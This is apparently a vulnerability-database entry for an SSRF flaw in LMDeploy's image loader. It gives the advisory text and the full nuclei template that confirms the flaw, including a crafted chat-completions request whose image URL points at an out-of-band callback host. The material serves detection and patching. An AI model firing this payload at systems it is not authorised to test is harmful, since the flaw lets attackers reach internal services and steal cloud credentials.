Browse / CVEs / CVE-2026-33626
CVE-2026-33626· internlm / lmdeploy· CWE-918
LMDeploy - Server-Side Request Forgery
LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions prior to 0.12.3 have a Server-Side Request Forgery (SSRF) vulnerability in the vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal or private IP addresses, allowing unauthenticated attackers to access cloud metadata services, internal networks, and sensitive resources via the image_url parameter in /v1/chat/completions requests.
Impact
An unauthenticated attacker can force the LMDeploy server to make HTTP requests to arbitrary internal or external addresses, leading to cloud credential theft via metadata APIs, internal service enumeration, and information disclosure.
Fix
Upgrade LMDeploy to version 0.12.3 or later where URL validation via _is_safe_url() blocks requests to non-globally-routable IP addresses.
How to confirm it
Send: GET {{BaseURL}}/v1/models
Positive when: status_code == 200 and contains(content_type, "application/json") and contains(body, "lmdeploy")
Send: POST /v1/chat/completions
Positive when: status_code == 200 and contains(interactsh_protocol, "http") and contains(interactsh_request, "User-Agent")Run it with nuclei: nuclei -id CVE-2026-33626 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2026-33626
info:
name: LMDeploy - Server-Side Request Forgery
author: theamanrawat
severity: high
description: |
LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions prior to 0.12.3 have a Server-Side Request Forgery (SSRF) vulnerability in the vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal or private IP addresses, allowing unauthenticated attackers to access cloud metadata services, internal networks, and sensitive resources via the image_url parameter in /v1/chat/completions requests.
impact: |
An unauthenticated attacker can force the LMDeploy server to make HTTP requests to arbitrary internal or external addresses, leading to cloud credential theft via metadata APIs, internal service enumeration, and information disclosure.
remediation: |
Upgrade LMDeploy to version 0.12.3 or later where URL validation via _is_safe_url() blocks requests to non-globally-routable IP addresses.
reference:
- https://github.com/advisories/GHSA-6w67-hwm5-92mq
- https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq
- https://nvd.nist.gov/vuln/detail/CVE-2026-33626
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-33626
epss-score: 0.4525
epss-percentile: 0.98795
cwe-id: CWE-918
metadata:
verified: false
max-request: 2
vendor: internlm
product: lmdeploy
tags: cve,cve2026,lmdeploy,ssrf,oast,llm,vkev,unauth
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/v1/models"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains(body, "lmdeploy")'
condition: and
internal: true
- raw:
- |
POST /v1/chat/completions HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"model":"internlm-xcomposer2","messages":[{"role":"user","content":[{"type":"text","text":"Describe this image"},{"type":"image_url","image_url":{"url":"http://{{interactsh-url}}"}}]}]}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(interactsh_protocol, "http")'
- 'contains(interactsh_request, "User-Agent")'
condition: andReferences
- https://github.com/advisories/GHSA-6w67-hwm5-92mq
- https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq
- https://nvd.nist.gov/vuln/detail/CVE-2026-33626
Use this check only on systems you are authorised to test. Where the data comes from